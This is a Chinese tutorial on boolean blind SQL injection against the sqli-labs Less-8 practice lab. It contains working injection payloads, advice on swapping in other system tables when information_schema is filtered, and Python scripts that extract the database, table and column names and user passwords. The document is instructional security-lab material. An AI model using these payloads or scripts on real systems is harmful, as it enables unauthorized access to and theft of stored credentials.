SQL布尔盲注

目录

[1 布尔盲注](#1 布尔盲注)

2布尔盲注流程

2.1输入id进行测试

2.2判断注入类型

2.3爆数据库名

2.4爆表名

2.5爆字段名

2.6查询数据


1 布尔盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,如果正确执行了构造的SQL语句,则返回一种页面,如果错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。

2布尔盲注流程

2.1输入id进行测试

输入?id=1,发现页面回显You are in..........

输入?id=1',发现页面无显示

此时,联想到正确错误两个页面,采用布尔盲注

2.2判断注入类型

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

根据结果可判断为字符型注入

2.3爆数据库名

如何获取数据库呢?可以通过截取字符串的方式进行获取。substr(string, start, length) 截取字符串,这个函数的意思简单来说,截取一个字符串从'start'位,可以是第1位,第2位。。。。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

?id=1' and ascii(substr(database(),1,1))=97--+

如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面

页面无显示说明数据库名的第一个字符的ascii码值不等于97

我们可以编写一个简单的python脚本就可以爆破出数据库名

python 复制代码
import time

import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        for j in range(32, 129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

根据运行结果得出数据库名为'security'

2.4爆表名

使用count() 函数进行获取表的数量

python 复制代码
1' and (select count(table_name) from information_schema.tables where table_schema='security')=2--+
python 复制代码
1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+

可以看出security下有四张表,然后进行爆表名

python 复制代码
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101--+

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

sys.schema_auto_increment_columns

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

然后编写一个简单的python脚本就可以爆破出所有的表名

python 复制代码
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'


def boolean_blind_inject(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data

            # 发送 GET 请求
            r = requests.get(url, params=params)

            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)

# 调用函数
boolean_blind_inject(url)

上述代码采用二分法提高效率

根据运行结果得出表名为emails,referers,uagents,users

2.5爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。

同样使用python脚本来爆破出字段名,只需将刚才的python脚本中的payload变换一下

python 复制代码
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'


def boolean_blind_inject(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data

            # 发送 GET 请求
            r = requests.get(url, params=params)

            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)

# 调用函数
boolean_blind_inject(url)

根据运行结果得出字段名为id,username,password

2.6查询数据

python 复制代码
import requests

url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'


def boolean_blind_inject(url):
    name = ''
    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data

            # 发送 GET 请求
            r = requests.get(url, params=params)

            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)

# 调用函数
boolean_blind_inject(url)

这样我们就爆出各个用户的账号密码了,本次手布尔盲注到此结束,如果不会写python脚本也可以使用BurpSuite工具来破解数据,感兴趣的同学可以自行搜索相关资料学习。

相关推荐
o(╥﹏╥)2 分钟前
linux(ubuntu )卡死怎么强制重启
linux·数据库·ubuntu·系统安全
阿里嘎多学长17 分钟前
docker怎么部署高斯数据库
运维·数据库·docker·容器
Yuan_o_19 分钟前
Linux 基本使用和程序部署
java·linux·运维·服务器·数据库·后端
Sunyanhui124 分钟前
牛客网 SQL36查找后排序
数据库·sql·mysql
老王笔记37 分钟前
MHA binlog server
数据库·mysql
lovelin+v175030409661 小时前
安全性升级:API接口在零信任架构下的安全防护策略
大数据·数据库·人工智能·爬虫·数据分析
DT辰白2 小时前
基于Redis的网关鉴权方案与性能优化
数据库·redis·缓存
2401_871213302 小时前
mysql高阶语句
数据库·mysql
Mitch3112 小时前
【漏洞复现】CVE-2021-45788 SQL Injection
sql·web安全·docker·prometheus·metersphere